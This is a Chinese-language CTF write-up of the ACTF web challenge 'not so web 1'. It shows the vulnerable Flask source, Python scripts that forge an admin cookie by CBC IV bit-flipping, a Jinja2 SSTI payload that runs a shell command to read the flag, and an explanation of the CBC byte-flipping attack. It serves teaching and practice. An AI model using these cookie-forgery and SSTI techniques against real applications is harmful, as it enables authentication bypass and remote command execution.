image-20250428205606071

WEB

not so web 1

题目

先随便注册登录进入后base64解码得到源码

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool: //判断cookie值是否有效
if not cookie:
return False

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False

if len(cookie_encrypted) < 32: //至少由16字节的iv和16字节加密数据构成
return False

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:] //分别提取前16位为iv和16位后为填充
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False

try:
_ = json.loads(cookie_json)
except Exception:
return False

return True


def parse_cookie(cookie: str) -> Tuple[bool, str]: //解析cookie并给出信息
if not cookie:
return False, ""

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""

if len(cookie_encrypted) < 32:
return False, ""

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16) //使用unpad去除填充
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""

try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""

return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str: //产生含用户信息的cookie
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")


@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))

user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))

if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)


@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp


if __name__ == "__main__":
app.run()

丢ai分析下发现是要通过修改cookie绕过身份验证,以管理员(admin)身份登录系统,并利用SSTI执行任意命令,让ai写个生成管理员cookie的脚本(用户名为aaaaa,密码为123)

import base64

# 示例Cookie(实际需替换为登录后获取的真实Cookie)
cookie = "gQlQ0D1KuhbVZHk66kbNwifp7UQH0wm/mRkyDCxiiIc4fSqEEY3nydd144uSoQM+4lRcNhnWWa3735xRH6WuFyGijmOSRnFtuEmHHL8zymMkd/w+Rua0tkbOQFiggxa7"
decoded = base64.b64decode(cookie)
IV_original = decoded[:16] //得到初始iv
ciphertext = decoded[16:] //得到加密数据

# 修改IV
IV_new = bytearray(IV_original)
xor_values = [5, 12, 8, 15]
for i in range(11, 15):
IV_new[i] ^= xor_values[i - 11]

# 生成新Cookie
new_cookie_data = bytes(IV_new) + ciphertext
new_cookie = base64.b64encode(new_cookie_data).decode()
print("新Cookie:", new_cookie)

用新cookie去访问home,参数为payload就能执行SSTI

payload={{cycler.__init__.__globals__.os.popen('tac flag.txt').read()}}

cycler.__init__.__globals__:访问全局变量

os.popen('cat /flag').read():执行命令并读取输出

image-20250426224502636

ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4bl3_C00Kie}

补充:CBC字节反转攻击

CBC模式原理

关键在于分组,初始向量iv,异或,组合

  • 加密原理
  1. 首先将明文分为若干长度均为16字节的组,最后一组不足则用特殊字符填充
  2. 生成初始向量iv和密钥
  3. 用iv和第一组密文异或后加密
  4. 用第一组密文和第二组明文异或后加密,以此类推
  5. 将密文结合获得最终密文

image-20250509205533587

  • 解密原理
  1. 将密文分组
  2. 用iv和第一组密文解密后异或
  3. 用第一组密文和第二组密文解密后异或,以此类推
  4. 将明文结合起来完成解密

由此可以看出,每一组的结果仅依靠于上一组的密文。比如第四组的密文异或和第一组的密文没有关系

image-20250509205644361

  • PKCS#7填充

分组时用到的一种填充方法,最后一组差几个bit就用对应的去补充,比如差8个bit就填充8个0x08,差n个bit就填充n个0x0n

字节反转攻击原理

改变前一组密文的字节,然后与下一组密文异或,就可以得到一个新的明文。但是为了保持前面的不改变,就要依次修改。举个例子

改变明文分组3的值->修改密文分组2的值->(为了保持明文分组2不变)修改密文分组1的值->(为了保持明文分组1不变)修改iv的值

实战

就拿这个题而言,当用户名为aaaaa,密码为123时,cookie为gQlQ0D1KuhbVZHk66kbNwifp7UQH0wm/mRkyDCxiiIc4fSqEEY3nydd144uSoQM+4lRcNhnWWa3735xRH6WuFyGijmOSRnFtuEmHHL8zymMkd/w+Rua0tkbOQFiggxa7,本地测试获得如下json,那么就在用户名上进行反转攻击

{"name": "aaaaa", "password_raw": "123", "register_time": 1745855336}

这里一共有四个字符都需要更改,分别是11、12、13、14位(其实如果设为Admin就能少很多事)

脚本如下

import base64
from Crypto.Util.number import long_to_bytes
jwtcookie='gQlQ0D1KuhbVZHk66kbNwifp7UQH0wm/mRkyDCxiiIc4fSqEEY3nydd144uSoQM+4lRcNhnWWa3735xRH6WuFyGijmOSRnFtuEmHHL8zymMkd/w+Rua0tkbOQFiggxa7'
cookie=base64.b64decode(jwtcookie)
iv=cookie[:16] #获取iv
cipher=cookie[16:] #获取加密数据

new_iv=bytearray(iv)
new_iv[11]^=ord('a')^ord('d')
new_iv[12]^=ord('a')^ord('m')
new_iv[13]^=ord('a')^ord('i')
new_iv[14]^=ord('a')^ord('n')

iv_1=bytes(new_iv)
new_cookie=iv_1+cipher
print(new_cookie)
#gQlQ0D1KuhbVZHk/5k7Cwifp7UQH0wm/mRkyDCxiiIc4fSqEEY3nydd144uSoQM+4lRcNhnWWa3735xRH6WuFyGijmOSRnFtuEmHHL8zymMkd/w+Rua0tkbOQFiggxa7

最后ssti就行了